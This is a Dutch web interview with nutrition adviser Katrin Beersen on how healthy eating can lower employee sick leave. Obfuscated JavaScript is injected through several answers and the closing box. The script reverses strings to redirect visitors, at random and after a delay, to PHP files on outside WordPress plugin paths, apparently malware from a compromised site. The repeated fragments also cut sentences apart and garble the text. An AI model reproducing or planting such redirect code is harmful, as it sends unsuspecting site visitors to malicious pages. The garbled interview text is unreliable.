Onlangs heeft Susannah Halmans, studente bedrijfskunde MER, Katrin Beersen geïnterviewd rond de vraagstelling: Hoe kan gezond eetgedrag het ziekteverzuim terugdringen? Hieronder lees je de vragen en antwoorden.
In hoeverre is gezond eetgedrag belangrijk voor bedrijven?
‘’De bedrijven die het meeste baat hebben bij gezond eetgedrag zijn vaak productiebedrijven waar sprake is van veel overgewicht en verkeerde eetgewoontes die invloed hebben op het werkvermogen, ziekteverzuim en op de veiligheid binnen het organisatie. Deze bedrijven zijn op zoek naar oplossingen om het onderwerp leefstijl bespreekbaar te maken en aan te pakken.’’
Welke negatieve gevolgen kunnen ontstaan door ongezond eetgedrag?
{if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])==)
Laat ik een situatie schetsen. Stel een chauffeur ontbijt thuis niet of amper, maar consumeert tijdens een pauze halverwege de ochtend een kopje koffie en koekjes. Zijn bloedsuikerspiegel schiet omhoog. Bij zo’n energiepiek krijgt het lichaam een signaal: ‘oh help dit moet ik heel snel verwerken’. Dit resulteert weer in een lage bloedsuikerspiegel waardoor de chauffeur vlak voor de lunch te maken krijgt met een energiedip en een lage concentratie.’’
Waarom is een regelmatig eetpatroon belangrijk?
‘’Om je energieniveau gedurende dag hoog te houden is het belangrijk om regelmatig te eten. Dat begint al met een stevig ontbijt met gezonde ingrediënten. Het moet voedzaam zijn. Daarnaast is het wel belangrijk niet te grote porties te nemen bij hoofdmaaltijden, maar wel juist tussendoor 2 á 3 keer een gezonde snack te nemen. Werknemers kunnen bijvoorbeeld een smoothie, fruit of groentestengels als tussendoortje nemen.’’
Hoe motiveer je werknemers om open te staan voor gezondere eetgewoonten?
‘’ Het komt vaak voor dat er tegenstand is, vooral bij de probleembedrijven. Omdat er vaak sprake is van bepaalde gewoontes is het een traject van gedragsverandering. Bij Enerjoy zijn we gespecialiseerd in die weerstand. We motiveren werknemers door enthousiasme te creëren. Dit betekent een positieve sfeer en werken door middel van leuke, laagdrempelige activiteiten in kleine stappen. We zouden het simpelweg kunnen uitleggen, maar het is nog beter om hen te confronteren én gelijk een oplossing te bieden. Zo zien ze zelf ook dat het gemakkelijk en leuk kan zijn.’’
Hoe zie je de resultaten voor de organisatie wanneer een gezond eetpatroon zich goed ontwikkeld?
‘’Wij meten bij langdurige projecten (voedingsprogramma’s) de voortgang, door een nulmeting, meten regelmatig tussendoor (bij kleine stappen) en doen uiteindelijk een evaluatie. Daarbij is het natuurlijk ook belangrijk dat de opdrachtgever stappen zet om het kantineaanbod te verbeteren. Als je daar tijdje mee bezig bent, vaak gaat het om 1, 2 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tot 4 jaar, zul je zien dat de weerstand minder wordt, het enthousiasme toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toeneemt en mensen uiteindelijk zelf initiatieven gaan nemen.’’
[message_box]
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom:0px”/>Vind je dit artikel interessant? Deel het via LinkedIn, Twitter of Facebook! Heb je vragen en/of opmerkingen, plaats een reactie op deze pagina. Jouw inbreng is van harte welkom!
Voor dit artikel is Katrin Beersen geïnterviewd.
Voedingsdeskundige & Organisatie-adviseur. De drijvende kracht van Enerjoy.
[/message_box]